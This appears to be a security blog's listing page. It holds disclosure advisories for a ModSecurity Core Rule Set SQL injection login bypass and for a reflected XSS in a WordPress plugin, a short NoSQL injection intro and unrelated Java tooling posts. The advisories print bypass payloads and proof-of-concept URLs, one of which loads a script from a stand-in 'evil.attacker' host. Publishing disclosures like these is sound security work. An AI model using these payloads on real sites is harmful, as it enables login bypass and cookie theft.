Mod_Security Bypass Login (CRS, SQL Injection)

  • Vulnerability: Bypass mod_security to perform SQL injection (login bypass)
  • Affected Software: OWASP ModSecurity Core Rule Set
  • Affected Version: 2.2.9 (probably also prior versions)
  • Patched Version: 3.0.0
  • Risk: Low
  • Vendor Contacted: 2014-12-07 via mail, 2015-02-18 via github
  • Vendor Fix: 2014-12-09 (in dev tree, independent of report)
  • Public Disclosure: 2015-02-18 on github

Mod_Security & Core Rule Set

mod_security is an Intrusion Detection System / Web Application Firewall for Apache, IIS, and nginx developed by SpiderLabs. As a filter list it uses the OWASP ModSecurity Core Rule Set.

Injection Payload

Using the Core ModSecurity Rule Set ver.2.2.9 with default configuration, SecRuleEngine On, and all base_rules enabled, it is possible to inject the following payload, which can be used to bypass filters in SQL queries:

foo' or true #
foo' or false #

Continue

Comparison of Java Code Quality Tools

With a growing code base, it is good to have tools which can automatically find weaknesses in it, be it duplicate code, bad patterns, possible bugs, bad formatting, or bad design. Here are some of the tools that can analyze Java Code.

Continue

MongoDB: NoSQL Injection & Security

A list of resources about NoSQL injection in general and PHP and MongoDB security in general.

Intro: NoSQL Databases

NoSQL databases such as MongoDB are used more and more, but there isn’t a lot of information about the security of specific NoSQL databases or the security of NoSQL in general. The direction it seems to be going is: It’s not SQL, so SQL injection is not possible, so it is secure. This is of course not true at all. The damage that can be achieved with NoSQL injections does seem to be smaller than that of SQL injection, but that does not mean that developers should not care about it. Continue

Reflected XSS in WordPress Contact Form DB Plugin

  • Vulnerability: Reflected XSS
  • Affected Software: Contact Form DB (WordPress Plugin)
  • Affected Version: 2.8.17 (probably also prior versions)
  • Patched Version: 2.8.18
  • Risk: Low
  • Vendor Contacted: 2014-11-17
  • Vendor Fix: 2014-11-19
  • Public Disclosure: 2014-11-26

Description

There are two XSS vulnerabilities in the Contact Form DB WordPress Plugin admin area. If an attacker can get an administrator to click on a specific link, this can lead to the execution of arbitrary JavaScript, which in turn can for example lead to the stealing of cookies.

Simple POC

As single quotes are automatically escaped in WordPress, they cannot be used in the attack. It is still possible to inject a simple alert:

via submit_time:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script>alert(String.fromCharCode(88,83,83))</script><input name="1416134948.8682

via form_name:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1"><script>alert(String.fromCharCode(88,83,83));</script>

Exploiting the vulnerability

To get around the limitation of not using single quotes, an attacker can load a remotely hosted script:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script src=http://evil.attacker/myscript.js></script>

Continue

Java Timing Code: Compare Execution Times of Methods

Often times, you will have two Java functions, and you will want to know which one performs better. You can use this Java class to time multiple methods to find out which one is faster.

Example Usage: Java Timing Code

Let’s say you have these two functions and want to know which one is faster:

    public static String function1(String i) {
        return i + i;
    }

    public static String function2(String i) {
        StringBuilder sb = new StringBuilder();
        sb.append(i);
        sb.append(i);
        return sb.toString();
    }

Here is how you would use my timing class:

    public static void simpleTimingTest() throws Exception {
        Timing t = new Timing();

        /*
        The timing function will run the tests in chunks.
        For each chunk, the same input will be used.

        Input will be gathered via the passed IntFunction. The timing method will
        pass the current index (going from 0 to amountRunsPerChunk) to it and will expect
        any return of the defined type.
        */

        IntFunction<string> inputProvider = i -> String.valueOf(i);

        /*
        The add method expects two functions: the above mentioned input provider,
        as well as a function which accepts the output from the input provider as input
        and applies it to the function which will be timed.
        */

        t.add((String s) -> function1(s), inputProvider, "function1 ");
        t.add((String s) -> function2(s), inputProvider, "function2 ");

        t.time(true); // true: force test (otherwise, time might throw an exception
                      // if it suspects that there isn't enough memory)
        t.output(s -> System.out.println(s), Timing.Sort.ASC);
    }

You can also do more complex things with it:

    public static void predefinedInputTimingTest() throws Exception {
        Timing t = new Timing();
        /*
        The input doesn't have to be generated using the passed index, you could
        also use predefined input to time your functions:
        */

        String[] input = new String[]{"input1", "another input", "more input"};
        IntFunction</string><string> inputProvider = i -> input[i % input.length];
        t.add((String s) -> function1(s), inputProvider, "function1 ");
        t.add((String s) -> function2(s), inputProvider, "function2 ");

        /*
        You can decide what should be reported when timing finished:
        */

        t.setReport(EnumSet.of(Timing.Report.NAME, Timing.Report.MEAN));
        t.setAmountChunks(1_500);
        t.setAmountRunsPerChunk(2_500);
        t.time(true, s -> System.out.println(s)); // pass String -> String function to report debug information
        t.output(s -> System.out.println(s), Timing.Sort.ASC);
    }
Continue